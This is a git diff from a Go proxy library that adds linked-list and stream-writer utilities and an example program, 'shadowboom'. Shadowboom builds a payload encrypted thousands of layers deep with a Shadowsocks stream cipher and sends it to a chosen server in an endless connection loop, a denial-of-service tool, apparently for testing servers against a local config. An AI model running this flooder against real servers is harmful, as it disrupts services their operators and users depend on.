// amortizes an entire copy of the map: we can promote the dirty copy
|
||||
// immediately!
|
||||
m.mu.Lock()
|
||||
read, _ = m.read.Load().(readOnly[K, V])
|
||||
if read.amended {
|
||||
read = readOnly[K, V]{m: m.dirty}
|
||||
m.read.Store(read)
|
||||
m.dirty = nil
|
||||
m.misses = 0
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
for k, e := range read.m {
|
||||
v, ok := e.load()
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if !f(k, v) {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Map[K, V]) missLocked() {
|
||||
m.misses++
|
||||
if m.misses < len(m.dirty) {
|
||||
return
|
||||
}
|
||||
m.read.Store(readOnly[K, V]{m: m.dirty})
|
||||
m.dirty = nil
|
||||
m.misses = 0
|
||||
}
|
||||
|
||||
func (m *Map[K, V]) dirtyLocked() {
|
||||
if m.dirty != nil {
|
||||
return
|
||||
}
|
||||
|
||||
read, _ := m.read.Load().(readOnly[K, V])
|
||||
m.dirty = make(map[K]*entry[V], len(read.m))
|
||||
for k, e := range read.m {
|
||||
if !e.tryExpungeLocked() {
|
||||
m.dirty[k] = e
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (e *entry[T]) tryExpungeLocked() (isExpunged bool) {
|
||||
p := atomic.LoadPointer(&e.p)
|
||||
for p == nil {
|
||||
if atomic.CompareAndSwapPointer(&e.p, nil, expunged) {
|
||||
return true
|
||||
}
|
||||
p = atomic.LoadPointer(&e.p)
|
||||
}
|
||||
return p == expunged
|
||||
}
|
36
common/list/cond.go
Normal file
36
common/list/cond.go
Normal file
|
@ -0,0 +1,36 @@
|
|||
package list
|
||||
|
||||
func (l List[T]) IsEmpty() bool {
|
||||
return l.len == 0
|
||||
}
|
||||
|
||||
func (l *List[T]) PopBack() T {
|
||||
if l.len == 0 {
|
||||
var defaultValue T
|
||||
return defaultValue
|
||||
}
|
||||
entry := l.root.prev
|
||||
l.remove(entry)
|
||||
return entry.Value
|
||||
}
|
||||
|
||||
func (l *List[T]) PopFront() T {
|
||||
if l.len == 0 {
|
||||
var defaultValue T
|
||||
return defaultValue
|
||||
}
|
||||
entry := l.root.next
|
||||
l.remove(entry)
|
||||
return entry.Value
|
||||
}
|
||||
|
||||
func (l *List[T]) Array() []T {
|
||||
if l.len == 0 {
|
||||
return nil
|
||||
}
|
||||
array := make([]T, 0, l.len)
|
||||
for element := l.Front(); element != nil; element = element.Next() {
|
||||
array = append(array, element.Value)
|
||||
}
|
||||
return array
|
||||
}
|
234
common/list/list.go
Normal file
234
common/list/list.go
Normal file
|
@ -0,0 +1,234 @@
|
|||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package list implements a doubly linked list.
|
||||
//
|
||||
// To iterate over a list (where l is a *List[T]):
|
||||
// for e := l.Front(); e != nil; e = e.Next() {
|
||||
// // do something with e.Value
|
||||
// }
|
||||
//
|
||||
package list
|
||||
|
||||
// Element is an element of a linked list.
|
||||
type Element[T any] struct {
|
||||
// Next and previous pointers in the doubly-linked list of elements.
|
||||
// To simplify the implementation, internally a list l is implemented
|
||||
// as a ring, such that &l.root is both the next element of the last
|
||||
// list element (l.Back()) and the previous element of the first list
|
||||
// element (l.Front()).
|
||||
next, prev *Element[T]
|
||||
|
||||
// The list to which this element belongs.
|
||||
list *List[T]
|
||||
|
||||
// The value stored with this element.
|
||||
Value T
|
||||
}
|
||||
|
||||
// Next returns the next list element or nil.
|
||||
func (e *Element[T]) Next() *Element[T] {
|
||||
if p := e.next; e.list != nil && p != &e.list.root {
|
||||
return p
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Prev returns the previous list element or nil.
|
||||
func (e *Element[T]) Prev() *Element[T] {
|
||||
if p := e.prev; e.list != nil && p != &e.list.root {
|
||||
return p
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// List represents a doubly linked list.
|
||||
// The zero value for List is an empty list ready to use.
|
||||
type List[T any] struct {
|
||||
root Element[T] // sentinel list element, only &root, root.prev, and root.next are used
|
||||
len int // current list length excluding (this) sentinel element
|
||||
}
|
||||
|
||||
// Init initializes or clears list l.
|
||||
func (l *List[T]) Init() *List[T] {
|
||||
l.root.next = &l.root
|
||||
l.root.prev = &l.root
|
||||
l.len = 0
|
||||
return l
|
||||
}
|
||||
|
||||
// Len returns the number of elements of list l.
|
||||
// The complexity is O(1).
|
||||
func (l *List[T]) Len() int { return l.len }
|
||||
|
||||
// Front returns the first element of list l or nil if the list is empty.
|
||||
func (l *List[T]) Front() *Element[T] {
|
||||
if l.len == 0 {
|
||||
return nil
|
||||
}
|
||||
return l.root.next
|
||||
}
|
||||
|
||||
// Back returns the last element of list l or nil if the list is empty.
|
||||
func (l *List[T]) Back() *Element[T] {
|
||||
if l.len == 0 {
|
||||
return nil
|
||||
}
|
||||
return l.root.prev
|
||||
}
|
||||
|
||||
// lazyInit lazily initializes a zero List value.
|
||||
func (l *List[T]) lazyInit() {
|
||||
if l.root.next == nil {
|
||||
l.Init()
|
||||
}
|
||||
}
|
||||
|
||||
// insert inserts e after at, increments l.len, and returns e.
|
||||
func (l *List[T]) insert(e, at *Element[T]) *Element[T] {
|
||||
e.prev = at
|
||||
e.next = at.next
|
||||
e.prev.next = e
|
||||
e.next.prev = e
|
||||
e.list = l
|
||||
l.len++
|
||||
return e
|
||||
}
|
||||
|
||||
// insertValue is a convenience wrapper for insert(&Element{Value: v}, at).
|
||||
func (l *List[T]) insertValue(v any, at *Element[T]) *Element[T] {
|
||||
e := new(Element[T])
|
||||
e.Value = v.(T)
|
||||
return l.insert(e, at)
|
||||
}
|
||||
|
||||
// remove removes e from its list, decrements l.len
|
||||
func (l *List[T]) remove(e *Element[T]) {
|
||||
e.prev.next = e.next
|
||||
e.next.prev = e.prev
|
||||
e.next = nil // avoid memory leaks
|
||||
e.prev = nil // avoid memory leaks
|
||||
e.list = nil
|
||||
l.len--
|
||||
}
|
||||
|
||||
// move moves e to next to at.
|
||||
func (l *List[T]) move(e, at *Element[T]) {
|
||||
if e == at {
|
||||
return
|
||||
}
|
||||
e.prev.next = e.next
|
||||
e.next.prev = e.prev
|
||||
|
||||
e.prev = at
|
||||
e.next = at.next
|
||||
e.prev.next = e
|
||||
e.next.prev = e
|
||||
}
|
||||
|
||||
// Remove removes e from l if e is an element of list l.
|
||||
// It returns the element value e.Value.
|
||||
// The element must not be nil.
|
||||
func (l *List[T]) Remove(e *Element[T]) any {
|
||||
if e.list == l {
|
||||
// if e.list == l, l must have been initialized when e was inserted
|
||||
// in l or l == nil (e is a zero Element) and l.remove will crash
|
||||
l.remove(e)
|
||||
}
|
||||
return e.Value
|
||||
}
|
||||
|
||||
// PushFront inserts a new element e with value v at the front of list l and returns e.
|
||||
func (l *List[T]) PushFront(v T) *Element[T] {
|
||||
l.lazyInit()
|
||||
return l.insertValue(v, &l.root)
|
||||
}
|
||||
|
||||
// PushBack inserts a new element e with value v at the back of list l and returns e.
|
||||
func (l *List[T]) PushBack(v T) *Element[T] {
|
||||
l.lazyInit()
|
||||
return l.insertValue(v, l.root.prev)
|
||||
}
|
||||
|
||||
// InsertBefore inserts a new element e with value v immediately before mark and returns e.
|
||||
// If mark is not an element of l, the list is not modified.
|
||||
// The mark must not be nil.
|
||||
func (l *List[T]) InsertBefore(v T, mark *Element[T]) *Element[T] {
|
||||
if mark.list != l {
|
||||
return nil
|
||||
}
|
||||
// see comment in List.Remove about initialization of l
|
||||
return l.insertValue(v, mark.prev)
|
||||
}
|
||||
|
||||
// InsertAfter inserts a new element e with value v immediately after mark and returns e.
|
||||
// If mark is not an element of l, the list is not modified.
|
||||
// The mark must not be nil.
|
||||
func (l *List[T]) InsertAfter(v T, mark *Element[T]) *Element[T] {
|
||||
if mark.list != l {
|
||||
return nil
|
||||
}
|
||||
// see comment in List.Remove about initialization of l
|
||||
return l.insertValue(v, mark)
|
||||
}
|
||||
|
||||
// MoveToFront moves element e to the front of list l.
|
||||
// If e is not an element of l, the list is not modified.
|
||||
// The element must not be nil.
|
||||
func (l *List[T]) MoveToFront(e *Element[T]) {
|
||||
if e.list != l || l.root.next == e {
|
||||
return
|
||||
}
|
||||
// see comment in List.Remove about initialization of l
|
||||
l.move(e, &l.root)
|
||||
}
|
||||
|
||||
// MoveToBack moves element e to the back of list l.
|
||||
// If e is not an element of l, the list is not modified.
|
||||
// The element must not be nil.
|
||||
func (l *List[T]) MoveToBack(e *Element[T]) {
|
||||
if e.list != l || l.root.prev == e {
|
||||
return
|
||||
}
|
||||
// see comment in List.Remove about initialization of l
|
||||
l.move(e, l.root.prev)
|
||||
}
|
||||
|
||||
// MoveBefore moves element e to its new position before mark.
|
||||
// If e or mark is not an element of l, or e == mark, the list is not modified.
|
||||
// The element and mark must not be nil.
|
||||
func (l *List[T]) MoveBefore(e, mark *Element[T]) {
|
||||
if e.list != l || e == mark || mark.list != l {
|
||||
return
|
||||
}
|
||||
l.move(e, mark.prev)
|
||||
}
|
||||
|
||||
// MoveAfter moves element e to its new position after mark.
|
||||
// If e or mark is not an element of l, or e == mark, the list is not modified.
|
||||
// The element and mark must not be nil.
|
||||
func (l *List[T]) MoveAfter(e, mark *Element[T]) {
|
||||
if e.list != l || e == mark || mark.list != l {
|
||||
return
|
||||
}
|
||||
l.move(e, mark)
|
||||
}
|
||||
|
||||
// PushBackList inserts a copy of another list at the back of list l.
|
||||
// The lists l and other may be the same. They must not be nil.
|
||||
func (l *List[T]) PushBackList(other *List[T]) {
|
||||
l.lazyInit()
|
||||
for i, e := other.Len(), other.Front(); i > 0; i, e = i-1, e.Next() {
|
||||
l.insertValue(e.Value, l.root.prev)
|
||||
}
|
||||
}
|
||||
|
||||
// PushFrontList inserts a copy of another list at the front of list l.
|
||||
// The lists l and other may be the same. They must not be nil.
|
||||
func (l *List[T]) PushFrontList(other *List[T]) {
|
||||
l.lazyInit()
|
||||
for i, e := other.Len(), other.Back(); i > 0; i, e = i-1, e.Prev() {
|
||||
l.insertValue(e.Value, &l.root)
|
||||
}
|
||||
}
|
93
common/rw/output.go
Normal file
93
common/rw/output.go
Normal file
|
@ -0,0 +1,93 @@
|
|||
package rw
|
||||
|
||||
import (
|
||||
"io"
|
||||
"sing/common"
|
||||
"sing/common/buf"
|
||||
"sing/common/list"
|
||||
)
|
||||
|
||||
type OutputStream interface {
|
||||
common.WriterWithUpstream
|
||||
Process(p []byte) (n int, buffer *buf.Buffer, flush bool, err error)
|
||||
}
|
||||
|
||||
type DirectException struct {
|
||||
Suppressed error
|
||||
}
|
||||
|
||||
func (e *DirectException) Error() string {
|
||||
return "upstream used directly"
|
||||
}
|
||||
|
||||
type processFunc func(p []byte) (n int, buffer *buf.Buffer, flush bool, err error)
|
||||
|
||||
type OutputStreamWriter struct {
|
||||
upstream io.Writer
|
||||
chain list.List[processFunc]
|
||||
}
|
||||
|
||||
func (w *OutputStreamWriter) Upstream() io.Writer {
|
||||
return w.upstream
|
||||
}
|
||||
|
||||
func (w *OutputStreamWriter) Write(p []byte) (n int, err error) {
|
||||
var needFlush bool
|
||||
var buffers list.List[*buf.Buffer]
|
||||
defer buf.ReleaseMulti(&buffers)
|
||||
|
||||
for stream := w.chain.Back(); stream != nil; stream = stream.Prev() {
|
||||
// TODO: remove cast
|
||||
var process processFunc = stream.Value
|
||||
processed, buffer, flush, err := process(p)
|
||||
if buffer != nil {
|
||||
p = buffer.Bytes()
|
||||
processed = buffer.Len()
|
||||
buffers.PushBack(buffer)
|
||||
}
|
||||
if err != nil {
|
||||
if directException, isDirectException := err.(*DirectException); isDirectException {
|
||||
return processed, directException.Suppressed
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
p = p[:processed]
|
||||
if flush {
|
||||
needFlush = true
|
||||
}
|
||||
}
|
||||
n, err = w.upstream.Write(p)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if needFlush {
|
||||
err = common.Flush(w.upstream)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func GetWriter(writer io.Writer) io.Writer {
|
||||
if _, isOutputStreamWriter := writer.(*OutputStreamWriter); isOutputStreamWriter {
|
||||
return writer
|
||||
}
|
||||
|
||||
output := OutputStreamWriter{}
|
||||
for index := 0; ; index++ {
|
||||
if outputStream, isOutputStream := writer.(OutputStream); isOutputStream {
|
||||
output.chain.PushFront(outputStream.Process)
|
||||
writer = outputStream.Upstream()
|
||||
} else if outputStreamWriter, isOutputStreamWriter := writer.(*OutputStreamWriter); isOutputStreamWriter {
|
||||
writer = outputStreamWriter.upstream
|
||||
output.chain.PushFrontList(&outputStreamWriter.chain)
|
||||
} else {
|
||||
if index == 0 {
|
||||
return writer
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
output.upstream = writer
|
||||
return &output
|
||||
}
|
|
@ -3,7 +3,6 @@ package socksaddr
|
|||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
|
||||
"sing/common"
|
||||
"sing/common/exceptions"
|
||||
"sing/common/rw"
|
||||
|
|
13
common/upstream.go
Normal file
13
common/upstream.go
Normal file
|
@ -0,0 +1,13 @@
|
|||
package common
|
||||
|
||||
import (
|
||||
"io"
|
||||
)
|
||||
|
||||
type ReaderWithUpstream interface {
|
||||
Upstream() io.Reader
|
||||
}
|
||||
|
||||
type WriterWithUpstream interface {
|
||||
Upstream() io.Writer
|
||||
}
|
222
example/shadowboom/main.go
Normal file
222
example/shadowboom/main.go
Normal file
|
@ -0,0 +1,222 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"sing/common"
|
||||
"sing/common/buf"
|
||||
"sing/common/socksaddr"
|
||||
"sing/protocol/shadowsocks"
|
||||
_ "sing/protocol/shadowsocks/shadowstream"
|
||||
|
||||
cObfs "github.com/Dreamacro/clash/transport/ssr/obfs"
|
||||
cProtocol "github.com/Dreamacro/clash/transport/ssr/protocol"
|
||||
)
|
||||
|
||||
var (
|
||||
address string
|
||||
port int
|
||||
method string
|
||||
password string
|
||||
|
||||
obfs string
|
||||
obfsParam string
|
||||
protocol string
|
||||
protocolParam string
|
||||
|
||||
ring int
|
||||
uniqueIV bool
|
||||
)
|
||||
|
||||
func main() {
|
||||
fs := flag.NewFlagSet("shadowboom", flag.ExitOnError)
|
||||
fs.StringVar(&address, "address", "", "server address")
|
||||
fs.IntVar(&port, "port", 0, "server port")
|
||||
fs.StringVar(&method, "method", "", "server cipher")
|
||||
fs.StringVar(&password, "password", "", "server password")
|
||||
|
||||
fs.StringVar(&obfs, "obfs", "", "shadowsocksr obfuscate")
|
||||
fs.StringVar(&obfsParam, "obfs-param", "", "shadowsocksr obfuscate parameter")
|
||||
fs.StringVar(&protocol, "protocol", "", "shadowsocksr protocol")
|
||||
fs.StringVar(&protocolParam, "protocol-param", "", "shadowsocksr protocol parameter")
|
||||
|
||||
fs.IntVar(&ring, "ring", 5000, "requests")
|
||||
fs.BoolVar(&uniqueIV, "uniqueIV", false, "use unique iv for each request")
|
||||
|
||||
_ = fs.Parse(os.Args[1:])
|
||||
|
||||
if common.IsBlank(method) {
|
||||
fs.Usage()
|
||||
log.Fatal("method not defined")
|
||||
}
|
||||
|
||||
if common.IsBlank(password) {
|
||||
fs.Usage()
|
||||
log.Fatal("password not defined")
|
||||
}
|
||||
|
||||
cipher, err := shadowsocks.CreateCipher(method)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
key := shadowsocks.Key([]byte(password), cipher.KeySize())
|
||||
|
||||
if _, isAEAD := cipher.(*shadowsocks.AEADCipher); isAEAD {
|
||||
log.Fatal("not a stream cipher: ", method)
|
||||
}
|
||||
|
||||
ipAddr, err := net.ResolveIPAddr("ip", address)
|
||||
if err != nil {
|
||||
log.Fatal("unable to resolve server address: ", address, ": ", err)
|
||||
}
|
||||
addr := socksaddr.AddrFromIP(ipAddr.IP)
|
||||
|
||||
var sharedPayload *bytes.Buffer
|
||||
if !uniqueIV {
|
||||
sharedPayload = createRequest(cipher, key, addr, uint16(port))
|
||||
}
|
||||
|
||||
for {
|
||||
var payload *bytes.Buffer
|
||||
if !uniqueIV {
|
||||
payload = sharedPayload
|
||||
} else {
|
||||
payload = createRequest(cipher, key, addr, uint16(port))
|
||||
}
|
||||
|
||||
conn, err := net.DialTCP("tcp", nil, &net.TCPAddr{
|
||||
IP: ipAddr.IP,
|
||||
Port: port,
|
||||
})
|
||||
if err != nil {
|
||||
log.Print("failed to connect to server: ", err)
|
||||
return
|
||||
}
|
||||
log.Print(fmt.Sprint("open connection to ", address, ":", port))
|
||||
_, err = conn.Write(payload.Bytes())
|
||||
if err != nil {
|
||||
log.Print("failed to write request: ", err)
|
||||
return
|
||||
}
|
||||
|
||||
if uniqueIV {
|
||||
payload.Reset()
|
||||
}
|
||||
|
||||
go func() {
|
||||
_, err = io.Copy(io.Discard, conn)
|
||||
}()
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func createRequest(cipher shadowsocks.Cipher, key []byte, addr socksaddr.Addr, port uint16) *bytes.Buffer {
|
||||
fmt.Println("creating payload")
|
||||
content := new(bytes.Buffer)
|
||||
iv := buf.New()
|
||||
iv.WriteZeroN(cipher.IVSize())
|
||||
defer iv.Release()
|
||||
|
||||
var (
|
||||
obfsInstance cObfs.Obfs
|
||||
protocolInstance cProtocol.Protocol
|
||||
|
||||
overhead int
|
||||
err error
|
||||
)
|
||||
|
||||
if common.IsNotBlank(obfs) && obfs != "plain" {
|
||||
obfsInstance, overhead, err = cObfs.PickObfs(obfs, &cObfs.Base{
|
||||
Host: address,
|
||||
Port: int(port),
|
||||
Key: key,
|
||||
IVSize: cipher.IVSize(),
|
||||
Param: obfsParam,
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
}
|
||||
|
||||
if common.IsNotBlank(protocol) && protocol != "origin" {
|
||||
protocolInstance, err = cProtocol.PickProtocol(protocol, &cProtocol.Base{
|
||||
Key: key,
|
||||
Overhead: overhead,
|
||||
Param: protocolParam,
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
}
|
||||
|
||||
for i := 0; i < ring; i++ {
|
||||
var buffer bytes.Buffer
|
||||
var writer io.Writer = &buffer
|
||||
|
||||
if uniqueIV {
|
||||
iv.Reset()
|
||||
iv.WriteRandom(cipher.IVSize())
|
||||
}
|
||||
|
||||
if obfsInstance != nil {
|
||||
writer = obfsInstance.StreamConn(common.NewWritConn(writer))
|
||||
}
|
||||
|
||||
_, err = writer.Write(iv.Bytes())
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
break
|
||||
}
|
||||
writer, err = cipher.NewEncryptionWriter(key, iv.Bytes(), writer)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
break
|
||||
}
|
||||
|
||||
if protocolInstance != nil {
|
||||
writer = protocolInstance.StreamConn(common.NewWritConn(writer), iv.Bytes())
|
||||
}
|
||||
|
||||
var addressAndPort bytes.Buffer
|
||||
shadowsocks.AddressSerializer.WriteAddressAndPort(&addressAndPort, addr, port)
|
||||
_, err = writer.Write(addressAndPort.Bytes())
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
break
|
||||
}
|
||||
_, err = writer.Write(content.Bytes())
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
break
|
||||
}
|
||||
|
||||
addressAndPort.Reset()
|
||||
content.Reset()
|
||||
|
||||
if i%1000 == 0 {
|
||||
log.Print("ring ", i, ": ", byteSize(buffer.Len()))
|
||||
}
|
||||
content = &buffer
|
||||
}
|
||||
log.Print("finished ", ring, ": ", byteSize(content.Len()))
|
||||
return content
|
||||
}
|
||||
|
||||
func byteSize(b int) string {
|
||||
const unit = 1000
|
||||
if b < unit {
|
||||
return fmt.Sprintf("%d B", b)
|
||||
}
|
||||
div, exp := int64(unit), 0
|
||||
for n := b / unit; n >= unit; n /= unit {
|
||||
div *= unit
|
||||
exp++
|
||||
}
|
||||
return fmt.Sprintf("%.1f %cB", float64(b)/float64(div), "KMGTPE"[exp])
|
||||
}
|
25
example/shadowboom/server.json
Normal file
25
example/shadowboom/server.json
Normal file
|
@ -0,0 +1,25 @@
|
|||
{
|
||||
"log": {
|
||||
"loglevel": "debug"
|
||||
},
|
||||
"inbounds": [
|
||||
{
|
||||
"listen": "127.0.0.1",
|
||||
"port": 1234,
|
||||
"protocol": "shadowsocks",
|
||||
"settings": {
|
||||
"method": "aes-128-cfb",
|
||||
"password": "test"
|
||||
},
|
||||
"streamSettings": {
|
||||
"network": "tcp"
|
||||
}
|
||||
}
|
||||
],
|
||||
"outbounds": [
|
||||
{
|
||||
"protocol": "freedom",
|
||||
"tag": "direct"
|
||||
}
|
||||
]
|
||||
}
|
10
go.mod
10
go.mod
|
@ -12,9 +12,12 @@ require (
|
|||
golang.org/x/crypto v0.0.0-20220126234351-aa10faf2a1f8
|
||||
)
|
||||
|
||||
// for testing only
|
||||
// for testing and example only
|
||||
|
||||
require github.com/v2fly/v2ray-core/v5 v5.0.3
|
||||
require (
|
||||
github.com/Dreamacro/clash v1.9.0
|
||||
github.com/v2fly/v2ray-core/v5 v5.0.3
|
||||
)
|
||||
|
||||
//replace github.com/v2fly/v2ray-core/v5 => ../v2ray-core
|
||||
replace github.com/v2fly/v2ray-core/v5 => github.com/sagernet/v2ray-core/v5 v5.0.7-0.20220128184540-38f59e02f567
|
||||
|
@ -24,12 +27,15 @@ replace github.com/v2fly/v2ray-core/v5 => github.com/sagernet/v2ray-core/v5 v5.0
|
|||
replace gvisor.dev/gvisor => github.com/sagernet/gvisor v0.0.0-20220109124627-f8f67dadd776
|
||||
|
||||
require (
|
||||
github.com/Dreamacro/go-shadowsocks2 v0.1.7 // indirect
|
||||
github.com/dgryski/go-metro v0.0.0-20211217172704-adc40b04c140 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/pires/go-proxyproto v0.6.1 // indirect
|
||||
github.com/riobard/go-bloom v0.0.0-20200614022211-cdc8013cb5b3 // indirect
|
||||
github.com/seiflotfy/cuckoofilter v0.0.0-20201222105146-bc6005554a0c // indirect
|
||||
github.com/sirupsen/logrus v1.8.1 // indirect
|
||||
github.com/v2fly/ss-bloomring v0.0.0-20210312155135-28617310f63e // indirect
|
||||
golang.org/x/mod v0.6.0-dev.0.20211013180041-c96bc1413d57 // indirect
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd // indirect
|
||||
golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 // indirect
|
||||
google.golang.org/protobuf v1.27.1 // indirect
|
||||
|
|
18
go.sum
18
go.sum
|
@ -1,3 +1,7 @@
|
|||
github.com/Dreamacro/clash v1.9.0 h1:IfmPW86Klngu0iQ4LL6Bhxcvtr+QaI7Oppa9qRPX/Q8=
|
||||
github.com/Dreamacro/clash v1.9.0/go.mod h1:vOzDB9KKD/PirNdSlsH4soMl1xF5lk8SwNQiVY5UacE=
|
||||
github.com/Dreamacro/go-shadowsocks2 v0.1.7 h1:8CtbE1HoPPMfrQZGXmlluq6dO2lL31W6WRRE8fabc4Q=
|
||||
github.com/Dreamacro/go-shadowsocks2 v0.1.7/go.mod h1:8p5G4cAj5ZlXwUR+Ww63gfSikr8kvw8uw3TDwLAJpUc=
|
||||
github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY=
|
||||
github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA=
|
||||
github.com/cheekybits/genny v1.0.0 h1:uGGa4nei+j20rOSeDeP5Of12XVm7TGUd4dJA9RDitfE=
|
||||
|
@ -54,7 +58,10 @@ github.com/sagernet/v2ray-core/v5 v5.0.7-0.20220128184540-38f59e02f567 h1:ZqzVNu
|
|||
github.com/sagernet/v2ray-core/v5 v5.0.7-0.20220128184540-38f59e02f567/go.mod h1:4FMkEwBDneahJymFQGpJtQ0OlC33hpmCoyUneaOQDno=
|
||||
github.com/seiflotfy/cuckoofilter v0.0.0-20201222105146-bc6005554a0c h1:pqy40B3MQWYrza7YZXOXgl0Nf0QGFqrOC0BKae1UNAA=
|
||||
github.com/seiflotfy/cuckoofilter v0.0.0-20201222105146-bc6005554a0c/go.mod h1:bR6DqgcAl1zTcOX8/pE2Qkj9XO00eCNqmKb7lXP8EAg=
|
||||
github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE=
|
||||
github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
|
||||
github.com/v2fly/BrowserBridge v0.0.0-20210430233438-0570fc1d7d08 h1:4Yh46CVE3k/lPq6hUbEdbB1u1anRBXLewm3k+L0iOMc=
|
||||
|
@ -63,18 +70,27 @@ github.com/v2fly/ss-bloomring v0.0.0-20210312155135-28617310f63e h1:5QefA066A1tF
|
|||
github.com/v2fly/ss-bloomring v0.0.0-20210312155135-28617310f63e/go.mod h1:5t19P9LBIrNamL6AcMQOncg/r10y3Pc01AbHeMhwlpU=
|
||||
github.com/xtaci/smux v1.5.16 h1:FBPYOkW8ZTjLKUM4LI4xnnuuDC8CQ/dB04HD519WoEk=
|
||||
go.starlark.net v0.0.0-20211203141949-70c0e40ae128 h1:bxH+EXOo87zEOwKDdZ8Tevgi6irRbqheRm/fr293c58=
|
||||
go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE=
|
||||
go4.org/intern v0.0.0-20211027215823-ae77deb06f29 h1:UXLjNohABv4S58tHmeuIZDO6e3mHpW2Dx33gaNt03LE=
|
||||
go4.org/unsafe/assume-no-moving-gc v0.0.0-20211027215541-db492cf91b37 h1:Tx9kY6yUkLge/pFG7IEMwDZy6CS2ajFc9TvQdPCW0uA=
|
||||
golang.org/x/crypto v0.0.0-20210317152858-513c2a44f670/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
|
||||
golang.org/x/crypto v0.0.0-20220126234351-aa10faf2a1f8 h1:kACShD3qhmr/3rLmg1yXyt+N4HcwutKyPRB93s54TIU=
|
||||
golang.org/x/crypto v0.0.0-20220126234351-aa10faf2a1f8/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
|
||||
golang.org/x/mod v0.6.0-dev.0.20211013180041-c96bc1413d57 h1:LQmS1nU0twXLA96Kt7U9qtHJEbBk3z6Q0V4UXjZkpr4=
|
||||
golang.org/x/mod v0.6.0-dev.0.20211013180041-c96bc1413d57/go.mod h1:3p9vT2HGsQu2K1YbXdKPJLVgG5VJdoTa1poYQBtP1AY=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd h1:O7DYs+zxREGLKzKoMQrtrEacpb0ZVXA5rIwylE2Xchk=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 h1:XfKQ4OlFl8okEOr5UvAqFRVj8pY/4yfcXrddB8qAbU0=
|
||||
golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
